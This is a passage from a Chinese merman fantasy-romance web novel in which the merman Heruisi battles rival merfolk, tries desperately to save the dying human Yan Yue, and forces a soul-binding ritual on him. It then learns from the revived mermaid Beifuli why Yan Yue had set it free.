好在弗洛狄早就猜到,向周围闪躲,躲过了致命一击。 黑色的纹路从砂金色的尾鳍开始不断蔓延,赫瑞斯缓缓回头,眼神森冷又漠然。 像是看待一个死物。 弗洛狄干吞了吞嗓子,飞快扫了一眼还在费劲挣扎的晏越。 “你自己知道的人类有多脆弱更何况” 它看着自己兄弟那双眼睛,清晰地看到了其中涌动的暗流。 弗洛狄知道自己说出这句话会惹恼赫瑞斯,但它不得不说。 “更何况他的寿命本就不多了” 果不其然,它只听到“喀拉”一声,同胞兄弟锋利的蹼爪就到面前了。 弗洛狄堪堪躲过,但也免不了被刺穿肩胛骨。 疼痛也让它愤怒起来,它狠狠抓伤了赫瑞斯的鱼尾。 “你以为我不说这就不是现实了吗?!” 弗洛狄不甘示弱瞪回去,“他迟早会死的!” 金尾人鱼周围的气氛急速冷下来,黑色的污染纹路爬上了它的眼球。 就在弗洛狄做好准备跟赫瑞斯打一架的时候,赫瑞斯突然嘲讽地笑了。 “那也好过你被抛弃后,这么多年都找不到一个人影。” “没用的东西。” 它的嘴唇一张一合,说出了弗洛狄最在意的事情。 弗洛狄被揭穿了伤疤,眼睛逐渐瞪大。 赫瑞斯攻击弗洛狄的时候,一直不肯放开怀里的晏越。 甚至在说这话时,还是紧揽着晏越的。 它满含恶意地说出这句话,还不忘收紧手臂。 把头颅贴在他温暖的胸膛上,又用鼻尖轻轻蹭着,故意给弗洛狄看。 “他就在我身边,即使死亡,也只会在我身边。” 弗洛狄被激怒,迸发出巨大的力量袭上去要将它怀里的人抢下来。 晏越感觉勒在腰上的手臂像是要把他的内脏都挤出来。 整个世界随着赫瑞斯的动作而天旋地转。 他像个娃娃,被两只人鱼争来抢去。 最后它们的互殴行为以晏越一口血而短暂告终。 赫瑞斯眉头紧锁,连忙将他放下来,蹼爪在他的肋骨上梭巡。 它以为他是受了伤,但检查下来,他身上的骨头是好的。 它又以为是他在转化期,需要血。 眼都不眨一下咬穿了自己的虎口,猛吸了一口血就要渡进他的口中。 可晏越倔强的扭着头,说什么都不愿意。 赫瑞斯的眼中,头次出现了一种名为慌乱的情绪。 它以为他只是抗拒自己的触碰,随口吐了千金难求的人鱼血,把虎口抵在他的唇间。 看着淡蓝色的血液逐渐留进他的唇中,赫瑞斯的眉却没松一分。 因为这无济于事。 “为什么。” 赫瑞斯说着就要剖开自己的胸膛取出自己的Muspora,将将再生出来的伤口又被重新割开。 “你没看到,是因为他不愿意吗?” 弗洛狄的声音从背后响起,彻底激怒了赫瑞斯。 它猛地回头怒吼,巨大的声波震碎了基地的所有玻璃。 玻璃噼里啪啦下落,像是下雪了。 “闭嘴!!” 弗洛狄耳道开始流血,但它仍在嘲笑着赫瑞斯的无力。 “你以为,Muspora是万能的?” “如果真是万能的,父亲就不会留不下母亲,更不会有那么多的人鱼主动选择殉情!” 赫瑞斯终于忍不下去,将弗洛狄砸了出去。 弗洛狄呸了一口血,还是要说。 “最后,还是看他愿不愿意” “他不愿意,你这辈子都没办法得到他。” “这是规则,是诅咒,你我都无法跳出守则!” “闭嘴!” 赫瑞斯死死搂住怀里的人类,重复说:“不会的,不可能,这次不会的。” 它将他嘴角的血抹干净,声音突然放轻了。 “怎么会这样,在那个地方的时候,你明明还没变成现在这样” 晏越感觉力气在从自己的身体中缓慢流逝。 只有他自己知道,其实自己的身体早就快走到尽头了。 被赫瑞斯带走的这段时间,他一直没有打药剂。 失去了药物控制的身体处于极度不稳定的状态。 起初赫瑞斯的血还能起到一定用处,但这也只是强弩之末。 他早就知道会有这么一天。 年幼时,母亲给他注射了不完全体药剂。 虽然幸运的捡回来一条命,但身体器官早就以一种不正常的速度开始衰竭了。 奥凯西曾经说过,人类的身躯已经腐朽,但思维却是可以永存的。 可他还是想以人类的身份,体贴的走完这条路。 弗洛狄还想要将晏越抢下来,只为了找到自己要找的人类。 它们都是自私的,血缘在这个种族是最没用的东西。 赫瑞斯抱着怀里的人,感觉他的身体在逐渐发冷,猛地冲了出去。 “别睡。” 它摸着他的额头,鱼尾快速摆动。 想要快点,再快点。 晏越顺过它的肩头,看到了一望无际的海洋。 “放我回去” 赫瑞斯咬牙,无法接受即便到这个时候他还是要离开自己。 明明它才是最有可能救他的人。 “不可能。” 晏越轻轻叹了一口气,闭上了眼睛。 赫瑞斯的怒火无从发泄。 但除了怒火,还有一种更大的,名为恐慌的情绪蔓延开来。 很快,它抱着晏越来到了一个陌生的地方。 周边几个小人鱼看到一只浑身是血,鱼尾也是漆黑的成年人鱼,吓得躲进了海里。 赫瑞斯没管它们,把晏越轻轻放在了中间巨大的石头上。 它用额头抵着他温热的胸膛,不断低语着什么。 小人鱼冒出头来,叽叽咕咕的。 [它在做什么?] [在祈求海神母亲的祝福。] [它也是信奉海神的人鱼吗?] 另一只小人鱼瘪瘪嘴:[不然怎么会来这里呢?] 赫瑞斯在他额角落下轻轻的一吻,剖开自己的胸膛,从心脏尖端挖出了Muspora给他喂了下去。 然后等待他的苏醒。 突然,它想到了什么,眼神凌厉起来。 明明在之前晏越还没这样的,一定是因为在那个基地发生了什么。 对,那只雌性人鱼,它会知道。 小人鱼们不知道这个雄性人鱼为什么冲了进来,又气势汹汹地冲了出去。 但它们都很害怕,缩进水里等了很久。 再确认赫瑞斯不会回来后,又将视线投向了石头上人类。 它们凑了上去,脑袋搁在蹼爪上,好奇地观察着石头上的人类。 [哎呀,好漂亮的人类呢。] [他好像受了很重的伤,所以那个人鱼才要来祈求海神母亲的祝福吗?] [那只人鱼好凶哦。] [他怎么还没醒呀,我想看看他的眼睛,一定很漂亮,像他的头发一样。] 在遥远的沉没海域,极寒的冰川水让这片海域一片死寂。 倒霉的海豚被抓到,嘀嘀咕咕地告诉它: 那只黛青色鱼尾的人鱼早就死了。 阴沉着脸的金尾人鱼在这片海底一寸一寸摸过去。 最终在一个不起眼的角落找到了个圆圆的,散发着黯淡的光的东西。 它眯起眼睛,一把捞起那个东西,回到了遗忘之地。 人鱼出生和死亡的地方。 在这里,一切都可以重头再来。 它把那个东西放进遗骨之中,说: [如果不是他,你们这种血统的人鱼,永远都不会有重来的机会。] [你要记住,是他救了你。] [未来,即使我不在他的身边,即使我死亡,你也要永远保护他。] 第58章 第 58 章 让海神看着,你究竟属于…… 类似石头的东西被放进遗骨之中, 赫瑞斯的蹼爪贴在上面。 “石头”突然像是生了一道刺,将它的掌心刺破。 汲取了赫瑞斯血液的“石头”,散发起明亮的光芒。 黑色的鸟盘旋在上空想要吃掉这个“石头”, 终于在游荡了许久后,找准机会从赫瑞斯的身后偷袭。 谁知道背对着鸟的赫瑞斯像身后长了眼睛一样, 猛地刺穿了黑鸟的腹部。 黑鸟厉叫着扑腾到半空, 又重重摔进水里。 金尾人鱼微微抬起头,看着半空中那些觊觎它面前东西,却又畏惧它的黑鸟。 喉管震动发出几句低沉的鸣叫, 像是某种古语。 那些鸟听到后似是不甘心,但又不得不听从。 它们最多落在遗骨的尖端,不敢再靠近半分。 这是来自古老血脉的压制,是这些守在遗忘之地的监管者必须要遵从的意志。 是绝对的臣服。 赫瑞斯告诉它们。 “复活这只人鱼, 我要知道它死前发生了什么。” 漆黑的闪着光的眼睛齐齐注视着赫瑞斯,目送它的离去。 赫瑞斯并没直接回晏越的身边。 相反, 它刚出遗忘之地就被围住了。 几只成年人鱼来势汹汹, 看起来早就等候多时了。 它们缓缓散开, 给身后让出一条路。 一只拥有赤色鱼尾的雄性人鱼从身后游来。 像是海底一把燃烧的火焰。 它跟赫瑞斯的身型相当,尾鳍宽大。 只是并没有像赫瑞斯那样, 有黑色的纹路。 那只尾鳍是干净的, 不沾任何的颜色, 是纯粹的火焰。 当它出现时, 身边的人鱼投去了敬仰的目光, 直勾勾盯着它的尾巴。 它显然对此很适用,并没有降罪这一失敬举动。 [首领,它真的被脏东西感染了,你看它的尾巴。] 红尾人鱼看着赫瑞斯的尾巴说:[赫瑞斯, 你不该回来,更不该闯进这里。] 赫瑞斯表情嘲弄,一句话都懒得跟它说,先行攻击。 上去就把靠的最近的人鱼的头颅扭了下来。 还没反应过来就已经身首异处的人鱼,死前还紧紧瞪着眼。 红尾人鱼没想到赫瑞斯现在居然这么暴躁,稍微向后躲了一下。 周围的下属反应过来,挡在前面。 赫瑞斯像杀戮机器一样,那些人鱼并不是它的对手。 很快,周围的海水被人鱼的血染上了颜色,到处漂浮着残肢。 赫瑞斯非但没被它们消耗体力,反而越杀越兴奋,已经失控了。 眼睛死死盯着那只红尾人鱼,诡异的笑道: [珀尔诺提,跑什么?] 被叫珀尔诺提的红尾人鱼脸色凝重。 它算赫瑞斯的长辈,应比赫瑞斯更强。 但赫瑞斯从出生起就带着最纯正的血脉,那时它就知道这只崽子长大了,必然会威胁到自己。 现在看看,赫瑞斯居然比预想的还要强壮。 珀尔诺提被反复激怒,终于等到最后一个下属被赫瑞斯残忍杀死后,开始反击。 赫瑞斯年轻,珀尔诺提几乎用尽全力才能抵挡它的攻击。 但很快,珀尔诺提惊喜的发现了赫瑞斯的秘密。 它看到了赫瑞斯心脏周围的疤痕。 几乎是瞬间,珀尔诺提就笑了。 它眼中闪过一丝狡诈的精光,接下来每一次攻击都瞅准了赫瑞斯的伤口。 赫瑞斯连着许多天喂给晏越Muspora,伤口迟迟得不到愈合,已经开始有溃烂的迹象。 现在又因为珀尔诺提的攻击,它的速度逐渐慢了下来。 [你跟你那父亲一样,都在做这种没意义的东西。] 珀尔诺提大笑着,手里的动作越发狠厉。 Muspora相当于人鱼灵魂的存在,被分走一部分灵魂的赫瑞斯自然接不住珀尔诺提这种狠厉的攻击。 但年轻的人鱼也没让它捞着好处。 几个回合下来,珀尔诺提身上也带着许多伤。 尤其是它引以为傲的鱼尾,伤口此时狰狞地向外翻着。 珀尔诺提异常愤怒,[你竟敢伤了我的尾巴!!] 说着就用尖锐的指甲刺向了赫瑞斯。 突然,一个银色的影子飞驰而来,狠狠拍开了珀尔诺提。 珀尔诺提被拍飞出去,缓了缓神,看到弗洛狄后表情狰狞。 [连你也要跟我作对?] 弗洛狄呸了珀尔诺提一口,鄙夷的看着它的红色鱼尾,表示对此不屑一顾。 [珀尔诺提,你也只是半血统,究竟是哪里来的自信。] 更何况,如果不是因为赫瑞斯被感染了,现在还轮不到珀尔诺提在这里张狂。 赫瑞斯本该拥有最纯净的颜色,那才是真正的海中日。 珀尔诺提被戳到了伤痛,它最恨的就是自己的血统。 头顶以前有自己的父兄压着,好不容易熬到它们都死了,现在又来了个赫瑞斯。 可笑的是连弗洛狄都比自己的血统高贵一些。 它的身份永远都无法做到唯一。 珀尔诺提气极反笑,[弗洛狄,迟早我要撕了你这张嘴。] 弗洛狄不甘示弱,挑衅道:[那就来试试。] 但珀尔诺提还有智。 它知道,如果只是赫瑞斯一个恐怕自己还有点胜算,但来了一个弗洛狄就不一定了。 它阴冷地看着面前两只人鱼,缓慢离开。 [你们最好记住今天说的话。] 弗洛狄看着珀尔诺提离开后,注意到了赫瑞斯的反常。 赫瑞斯金色的鱼尾上黑色的污染已经跟它融合了,再也不会消失了。 弗洛狄这次来本来是想要带走晏越的,但看到赫瑞斯的鱼尾以及胸口上的伤疤,突然犹豫了。 为什么会做到这个地步。 它很想问赫瑞斯一句为什么。 它也是这么问了。 赫瑞斯没说话,并没有感谢它的帮忙,反而冷漠地警告他离晏越远一点。 弗洛狄被拆穿,开始跳脚。 [反正他都不同意,也快死了,你把他给我怎么了,我还要用他找人!] 赫瑞斯没它,游远了。 被无视的弗洛狄气的围着这附近直转圈。 很快,它在这个过程中逐渐冷静下来。 真的会有人鱼为了一个人类做到这个地步吗? 实在是太愚钝了。 为了一个不愿意接受自己的人类,反复剖开胸膛取出灵魂。 这跟把心血淋淋地剖出来交给人类没什么两样。 但可悲的是,这种真心没被得到认可。 如果是它的话 想到这里,弗洛狄的速度逐渐慢下来了。 它突然发现,自己已经想不起来自己跟那个人类研究员在一起时的场面了。 一个寻找的执念存在太强太久太浓烈,浓烈到已经遮盖住了其他的记忆。 只凭借一个念头开始的执着,到了最后反而支撑下去的也只有着这个念头 赫瑞斯游回了晏越身边。 这里是抚养所有幼小人鱼的地方。 人鱼出生时会留在这里,接受海神母亲的祝福,等到了一定年龄便会离开。 这里被称为圣地,是最纯净的地方。 圣地之中有一块祈祷石。 许多对海神心怀敬畏的人鱼,在疾病和伤痛面前走投无路,就会来这里祈求海神的怜悯。 赫瑞斯回来后看到晏越仍处在昏迷状态,阴沉着脸,攥紧拳头狠狠砸在石头上。 坚硬的石头瞬间就被砸出了个小坑。 周围几个小人鱼吓得躲进水里。 赫瑞斯麻木地剖开胸膛,混着血将Muspora塞进他的嘴里。 但昏迷中的晏越紧闭牙关,无论如何都没办法将东西吞进去。 它只能用舌尖撬开他的牙齿,混合着人鱼血给他喂了下去。 水里的小人鱼好奇地眨巴眼睛,只捂着一边的眼睛。 赫瑞斯懒得管它们,只静静地看着他。 他睡得很不安稳,眉头紧皱着。 它不知道晏越做了什么梦,因为它甚至没办法进入他的梦境。 他对它关闭了一切通道,切断了所有情绪。 赫瑞斯小心且轻柔地将他额前的碎发别到耳后,摸了摸他的脸。 还是温热的,还在身边。 但还是没醒。 它就这么静静看着他,突然发疯了一样刺破了自己的胸膛。 但那里已经没有Muspora了。 赫瑞斯不得不承认,弗洛狄说的对。 Muspora并不是万能的。 它实在不明白为什么自己的血不能救这个人,就连将灵魂分割喂养,都无济于事。 迷茫和痛苦席卷着压来。 起初它想要惩罚他的失信和不辞而别。 他利用了它后又像丢垃圾一样把它抛弃,所以这个人注定要受到惩罚。 可真沦到手里,事情又变了。 他看起来真的快死了。 刚开始,它以为是血给的不够多,没日没夜的喂给他血。 的确,起初好了一点,但逐渐它的血开始不起作用了。 赫瑞斯抬起头,看向洁白的天空。 难道是因为它被感染了,血不再纯净了吗? 万里无云的天空,海神不会回答任何人。 海岛的风明明是潮湿温暖的,可吹着那个孤寂的背影,却又变的很冷。 那几个小人鱼目送它又离开。 它看起来明明是不舍得这个人类的,但还是离开了。 毕竟圣地只有祈求祝福的本人可以留下,赫瑞斯这种是没办法留下的。 而且小人鱼虽然小,没离开过这里,但也看到了赫瑞斯金色尾鳍上不详的东西。 它的留下只会污染圣地,海神自然不会降下怜悯 几只小人鱼围在石头上,先是嘀嘀咕咕,只敢围在一边看。 有一只胆子大的,抻着脖子望了一眼来时的路。 壮着胆子小心翼翼戳了戳晏越的腿。 周围几个惊呼一声躲进水里,然后又因为好奇忍不住漏出脑袋问: [什么呀,是不是很奇怪的触感呀?] 胆子大的那只眼睛亮亮的,用力摇头,告诉同伴: [热热的,好温暖,像太阳一样!] 听它这么一说,那些胆子小的也都凑上去小心翼翼戳戳。 一边戳一边惊呼。 [软软的,跟我们完全不一样呀~] [哎呀你小心一点,别被那只人鱼发现了,它回来会生气的!] 一只伸过去的蹼爪停在半空。 [为什么?] 另一只拽它尾巴,[你是笨蛋吗,因为这个人类是那只人鱼的配偶呀!] [人类也可以做人鱼的配偶吗?] [不知道,他身上都是那只人鱼的味道,是个小心眼的人鱼。] 晏越是在它们一阵吵吵闹闹的叫声中醒来的。 腿上麻麻痒痒的,浑身的骨头像是要散架了一样。 他挣扎了一下想起来但身体没听使唤。 看到他的手腕动了一下,胆小的人鱼飞快收回手蹿进水里,离着远远的。 晏越活动了僵硬的关节缓缓睁开眼睛。 [他醒了他醒了!] [眼睛真的跟头发一个颜色呢,好漂亮呀。] 吵吵闹闹的声音像极了好几只烟灰蛸围在周围。 晏越费劲坐起身,手掌抵在太阳穴上轻揉。 他好像睡了很久。 环顾四周,他找到了声音的来源。 [他看过来了,他看过来了!小声一点!] [你是笨蛋吗,人类听不懂我们的话。] 听不懂话的人类看着它们,问:“这里是哪里?” 小人鱼你看看我,我看看你。 [他在说什么?] [不知道,但好像没什么攻击性,我们靠近看看?我还没见过活着的人类呢。] 一只胆子大的凑到了晏越面前,眨巴着大眼睛看他,甚至偷偷用尾鳍在摸他的裤腿。 晏越看着那只淡紫色的尾鳍,并没有制止它的动作。 毕竟面前这些小人鱼看起来没有任何恶意,它只是好奇的摸了摸自己的裤腿,晏越自然没必要拒绝。 好奇心是所有物种都拥有的东西。 [不舒服,不喜欢这个黑黑的东西。] 小人鱼又看向了他的手。 [他的蹼爪跟我们不一样,手指中间居然是分开的诶。] 它们又开始叽叽咕咕盯着他的手。 晏越没说话,把手掌摊开放在它们面前。 还是那只胆子大的紫尾小人鱼,它轻轻捏着晏越的手指。 晏越没发现赫瑞斯的身影,也不知道这里是哪里,刚醒来心情各位平和,于是干脆跟这几只幼小的人鱼玩了一会儿。 [这是成年人类吗,比人鱼小呀,不知道我到他哪里呢。] 紫尾小人鱼托着下巴看晏越,晏越挑眉干脆滑进水里。 小人鱼到他胸口。 但小人鱼突然惊呼,[你你你你你能听懂我说话?] 它的表情十分夸张,晏越忍不住笑了一下,点点头。 小人鱼并不害怕,相反很兴奋。 [哎呀你能听懂我说话就太好啦,人类世界是什么样子的呀,你们多少岁成年呀,你们是不是只吃用火烤的焦焦的东西呀?] 一连串的问题抛过来,晏越有些无奈。 他说了几个词,小人鱼发现他可以听懂自己说话,但是自己听不懂他说话,遗憾地瘪瘪嘴。 [哎,太可惜了,不过你醒了就好,那只金尾的人鱼看起来很担心你,带你来这里],它说,[你睡了好久呢,不过还好你是个好人,海神母亲会救你的。] 海神? 小人鱼摸了摸凹进去的石头坑,嘀咕: [就是它的脾气不太好,都给祈祷石砸了一个坑呢,坏脾气,海神母亲不喜欢。] [这次是你,海神会救你,但这种坏脾气的人鱼,兴许海神母亲就不会救了。] 听着小人鱼的碎碎念,以及看到周围那些差不多大的人鱼,晏越大体猜出了这里是哪里。 这里应该是幼年人鱼生存的地方,并且只有幼小的人鱼可以留在这里。 不然以赫瑞斯这种脾气,它肯定会留在他身边等他醒来的。 但那只紫尾小人鱼说,他的醒来是海神的功劳? 可他是人类,并不是人鱼。 更何况他是无神论者,像赫瑞斯一样。 小人鱼说:[你就安心在这里养伤吧,它把你带到这里祈祷海神母亲的救助,海神母亲答应了就不会反悔的。] 晏越一愣。 他清楚的记得赫瑞斯曾经说,它不信海神。 那为什么要把他带到这里? 小人鱼还在玩弄他的手指,显然不会回答这个问题。 小人鱼看到晏越抬头望了一下远方,以为他要找赫瑞斯。 [哎呀,它不能随便来这里的,它身上有不详的东西,进来以后会污染这里,心不诚的人鱼海神母亲是不会同意帮的。] [还有它还在外面打架呢,上次浑身是血过来看你] 它捏捏他的骨节,又说:[但你别担心,等你好了以后离开这里,它肯定就在外面等你,所有人鱼都是这样的。] [况且你身上都是它的味道,它对你的占有欲好强,我们等了一天才敢过来呢。] 说完,它又转身去岛上摘了一个奇怪的果子递给他,[这个能吃的。] 晏越还沉浸在小人鱼说的话中,手里被塞进一个红到诡异的果子也没什么反应。 赫瑞斯会这么遵守规则,听从海神的要求,只为让他重新醒过来? 不信海神的人鱼,为一个人类来到这里,祈求一个可能性。 这话说出来,他自己都觉得荒谬。 可偏偏这就是现实。 他敛眸看着自己的手,手指间蹼的痕迹全部消失了,腿上干干净净的。 之前的变化像是做梦一样。 他将手掌抵在祈祷石上面。 石头温热,手掌贴在上面意外地让人感觉到平静。 所以海神也认为他不应该变成人鱼。 他本来就没想着活多久,但前提是要作为一个人类活到最后,而不是变成不人不鬼的东西。 都说人在将死之前,是会有预感的。 他已经开始频繁想起从前,梦到父母,可能过不了多久就会跟他们重逢。 突然,他的眼神变得坚定起来。 既然快到时间了,就更要把未完成的事情做完。 身后传来声音,晏越转头看到赫瑞斯,有些意外。 不是说这里不允许它进入吗? 赫瑞斯看到晏越醒来,显然也愣住了,似乎是没想到海神的祈祷石真的有用。 几只小人鱼看到赫瑞斯都有些害怕,连忙跑远了,只剩下那只胆子大的紫尾小人鱼。 [哎呀你怎么又进来了,海神母亲会生气的。] 赫瑞斯没搭它,猛游到晏越身边,握住他的肩头反复确认他是真的没事。 “你醒了。” 晏越手里还握着小人鱼给的果子,一时竟然不知道用什么表情面对赫瑞斯。 赫瑞斯的身上污染的痕迹更多了,它彻底跟污染融合了。 他给它注射了最终的药剂标本,就是为了让它摆脱污染。 可现在,它非但没有摆脱,甚至主动选择跟污染融为一体。 晏越心情平静,他知道自己无法干涉赫瑞斯,这是它的选择。 所有人的命运都是既定的,他人无法干涉改变。 “我们回去,这里不能久留。” 赫瑞斯说着就要带晏越走,但手被晏越打开了。 它怔怔地,看向晏越。 “回哪,跟你回只有人鱼的地方吗?”晏越冷漠地说:“我是人类,不是人鱼。” 赫瑞斯的脸色瞬间阴沉下来,它捏着晏越的下巴警告他不要再说让自己不高兴的话。 但晏越毅然决然地重复了这句话。 “你没发现你的努力全部清零了吗?我永远都不会变成人鱼,无论你使用什么方法,继续多少次,结局都是一样的。” 赫瑞斯愣住,低头看到他干干净净的手指。 视野中那张俊美妖冶的脸变得阴沉森冷,它在强压着怒火。 “承认吧,海神不同意。” “海神同意救我,也不是因为我是人鱼。” 这两句话无疑是让赫瑞斯怒火爆炸的导火线,它竟然暴起砸碎了祈祷石。 紫尾小人鱼大惊失色,气的指着赫瑞斯直哭:[你你你你居然砸碎了祈祷石,海神母亲不会原谅你的!你永远都不会获得幸福!] 赫瑞斯冷冷的扫了它一眼,小人鱼吓的嚎啕大哭跑远了。 边哭边说:[你永远都不会获得幸福!] 晏越知道赫瑞斯的脾气,他怕它生气去伤害那只可怜的小人鱼。 “不要再做无谓的努力了。” 赫瑞斯定定看着他,突然笑了。 它说:“幸福?我从不信海神会给予我幸福。” 幸福对它来说是一个很遥远的词。 它似乎从来没获得过,更无从失去。 它收起笑,捏着晏越的下巴,咬牙切齿说:“东西,是自己抢来的,我不是你利用完就能丢的垃圾。” 晏越扭头想要躲开它的桎梏,但它死死捏着,用力之大他感觉自己的骨头都要碎了。 蔚蓝色的竖瞳直直望进了心底最深处。 “不想变成人鱼也无所谓,那就让你的灵魂烙上我的名字,用这副模样,永远的陪在我身边吧。” “就在这里,就让海神看着,让祂知道,你究竟属于谁。” 它眼底那些滔天的欲.望和偏执像一把烈火,在干枯的草原上一不小心就被点燃了。 等人反应过来时,已经无法回头了。 第59章 第 59 章 真相是快刀 晏越只听到了赫瑞斯的声音, 还没反应过来就感觉一阵天旋地转,最后人被摁进了水里。 也许是在陆地呼吸了二十多年早就习惯了,他现在还没意识到自己在水中仍是可以呼吸的, 因此还是被呛了水。 “你!赫瑞斯!” 晏越的声音断断续续从水中传来。 他也是着急了,一张嘴, 水就源源不断灌满喉咙。 可他不想让赫瑞斯就这么在这里对自己进行所谓的灵魂烙印。 赫瑞斯没有给他扑腾挣扎起身的机会。 坚硬的身躯压了上来, 将他牢牢压进水里。 他自是不肯的,十分恼火,拼了命在水中挣扎。 在他看来, 赫瑞斯这种行为跟渎神没什么区别。 即便海神不是他的信仰,但这种堪称挑衅的行为,实在是狂妄。 就在他扑腾的间隙中,他听到了耳边的低语。 声音低沉又缱绻, 像是在吟诵着咒语。 晏越费劲扯出来的一只胳膊,又被那只蹼爪飞快抓回来。 他不知道赫瑞斯在说什么, 但直觉告诉自己, 这并不是什么好事。 因为从前他挣扎, 赫瑞斯也不会太用力,怕伤到他。 这次不一样, 捏在手腕骨节的蹼爪用足了力气。 赫瑞斯是下定了决心。 他终于知道, 赫瑞斯从前最多只是吓唬他, 因为他反复逃跑离开而愤怒。 可这次是真要来真的了。 耳边的每一个音节都变成烙印, 平白出现在脑海中。 即便他拒绝, 这些音节也清清楚楚地被他记了下来。 或许真的像赫瑞斯说的那样,当烙印标记成功后,未来的数年、百年乃至千年,他都会跟这只人鱼牢牢绑在一起。 同生同死。 可他并不想这样, 他应该有自由选择是生是死的权利。 这样被强迫绑在一起又算什么? 他究其一生都为了海洋而活,好不容易快熬到头了,却被提前判了死刑。 而行刑之人就是自己救的人鱼。 他的手死死攥着,因为太过用力,指甲刺破了手心。 血液快速扩散,他眼睁睁看到赫瑞斯尾端上的黑色污染纹路迅速攀升。 可即便这样,它也没有被血液迷惑,继续吟诵冗长复杂的语言。 只是蹼指强势伸进他的掌心,用十指相扣来阻止他的行为。 “松开!” 他的声音越来越小,被海水淹没,最后甚至在愤怒中带着些许的无助和苦涩。 “赫瑞斯不要” 赫瑞斯用鼻尖蹭了蹭他的耳朵,安抚他。 这个仪式行为并不痛苦。 相反,他感觉脑袋无比清晰,浑身上下所有的细胞充斥了新的活力,叫嚣着要做什么。 但人类总会为未知之事而止步纠结。 即便是晏越也无法逃离。 他不知道迎接自己的是什么,没人告诉他答案和原因。 他只是默默地承受一切,再次感受这种被命运掌控的感觉。 这并不公平。 晏越死咬着牙,即便人鱼死死握住他的手腕而无法脱离半分,他也没放弃挣扎。 就像他明确的告诉赫瑞斯他不会同意一样。 即使到最后,他也要告诉赫瑞斯自己永远都不会屈服。 赫瑞斯感觉到了他的抵抗,下巴抵在他的颈窝,自欺欺人的觉得,好像这样看不到他的表情,看不到那双黑色眼睛中的抵触与反感,他就接受了自己。 肩膀突然一痛,晏越发狠用力咬破了它的肩膀。 赫瑞斯眼都没眨一下,还松了那边肩膀的力,让他咬的更深一些。 它允许他发泄怒火,只要他能在它身边怎么都好。 晏越的注意力只放在面前的身躯上。 他没办法挣扎,赫瑞斯甚至不问他的意愿,他也只能以牙还牙让它也不好过。 所以他自然也没看到,抵在颈窝的赫瑞斯眼中短暂流露出一丝迷茫和无助。 直到最后一个词语被吟诵完毕,才算仪式完成。 在无数个未来之后,它永远都会找到他。 但它做完这件事后却有一种巨大的空虚感,并没有因此感到满足。 因为这种陌生的感觉,它恍惚了一下,扣着晏越的蹼爪也顺势松开了。 晏越狠狠推开它,连看都没看他一眼,扶着细碎的礁石,用双脚一步一步走上了岛屿。 又不知道从哪来的小人鱼看见晏越离开它,蹿了出来追上晏越的脚步。 小人鱼还记恨呢,冲着他呸呸呸的做鬼脸。 像是在说:我就说了,你永远不会获得幸福。 做完又害怕了,怕赫瑞斯像打碎祈祷石一样把它的脑袋砸碎,于是连忙追上晏越。 它聪明着呢,知道在晏越身边,赫瑞斯就不会把自己怎么样。 被挑衅的赫瑞斯难得并没有因此而生气。 它望着他离去的方向,站了很久。 它不解,明明曾经是这个人向自己祈祷,来生做一只健壮的人鱼,免于生老病死的折磨。 现在它找到了他,却发现他不记得了。 它起初并没有什么感觉,只是用梦境诱惑他,让他在梦中变成一只人鱼,企图用这种方式让他想起来。 但他骗了自己。 原来人类的诺言并不可信。 究竟他说的到底什么是真,什么又是假。 赫瑞斯已经分不清了。 他以为是他的血液控制了自己体内的污染指数,才导致它对他如此执着,甚至到偏执的地步。 实际上,它在忒亚尝到他血的那一瞬间,就认出了他。 体内的污染渴望只是一个方面。 归根结底,只是因为这个人是他而已。 高傲了百年的海底霸主在此刻披着落日的余晖,直到日暮西沉也没想通为什么 森白的遗骨之中,一个闪着光芒的“石头”缓缓沉入水中,无限膨大、透明。 像是一个卵。 卵中的形状逐渐清晰。 先是一条鱼尾,然后是躯干、蹼爪,最后是一张姣好的脸庞。 黑鸟直直盯着卵在破壳。 好像只要这个卵里出来的只要不是应该出现的东西,它们就会一拥而上将卵分食干净。 一抹黛青色破壳而出,黑鸟们相视一眼,没动。 日落时分,赫瑞斯来到了这里。 沉睡的贝芙丽感受到赫瑞斯的到来,逐渐苏醒。 它看到赫瑞斯后先是愣了一下,没反应过来发生了什么,待想起来后面容焦急:“他说,让你带着你的族人,离开那里。” 贝芙丽看赫瑞斯还没动,更着急了,“你在,干什么?”说着就要伸爪子拍它。 可伸出来的蹼爪小小一只,跟印象中的蹼爪有着天壤之别。 贝芙丽愣住了,端详起自己的蹼爪。 然后是鱼尾,最后才是周围。 巨大的遗骨将它包裹,黑色的鸟类就在遗骨尖端虎视眈眈。 贝芙丽眨了眨眼睛,呆呆地看向赫瑞斯。 “我死了?” 赫瑞斯没回答它这个显而易见的问题,它现在只想弄清楚一件事。 在它被麻醉的那段时间里,到底发生了什么,才会让晏越转变观点离开自己。 包括为什么他的身体状态变得这么差。 贝芙丽听到后摇摇头。 “他只告诉我,让你带着你的族人离开那里,其余的都没说。” 赫瑞斯皱起眉,似是不信,反问:“什么都没说?” 贝芙丽看它严肃的模样,想了又想。 “没说,但我看到,他在离开前,把你脖子上的东西取出来了什么,所以他应该,是想让你回去吧。” 贝芙丽说完还很奇怪,“为什么你还,戴着这个?” 赫瑞斯沉着脸,尚在思考,冷冷扫了它一眼。 “不要多嘴。” 贝芙丽看赫瑞斯转身就要走,以为要去找晏越报仇。 它连忙叫住赫瑞斯。 “你不要,去找他了。” 赫瑞斯没有问为什么,但看向它的眼神无疑在说:如果贝芙丽不能说出一个让它满意的答案就完了。 贝芙丽说:“他对你挺好的,在你睡着的时候,我听到他们说,如果我们继续呆在那里,会被其他人带走,他不想你再被抓走做实验。” “为了放你走,还跟另一个人类吵了一架。” “那个人类不想放走你,说他的身体不好,你的血能救他。” 贝芙丽说的是真的,虽然晏越只跟它说了让它带走赫瑞斯。 但贝芙丽能听到人类的交谈声。 贝芙丽没听到赫瑞斯说话,以为自己说服它了,于是又说: “但他不想,他说那以后你都要留在那里当做他的血库了。” “他说你应是自由的。” 贝芙丽还记得,她呆在水下,看玻璃外面两个人类吵的不可开交。 虽然实际上只是谈寺单方面不同意而已。 晏越很冷静,他告诉谈寺。 如果为了让自己活下来就把赫瑞斯带回帝国,那未来会有更多人代替他这个位置。 任何人都可以成为“晏越”。 但赫瑞斯只有一个。 他深知赫瑞斯血脉的珍贵性,帝国必然不会放过赫瑞斯。 无论是成为血包还是成为繁育种,这都不是晏越想要看到的。 所以他用最温柔的方式,想将一切斩断干净。 唯独忘记了,人鱼这种物种异常执拗,是一分温柔都不能留的。 最后,贝芙丽告诉赫瑞斯: “其实他对你很好,不要恨他。” 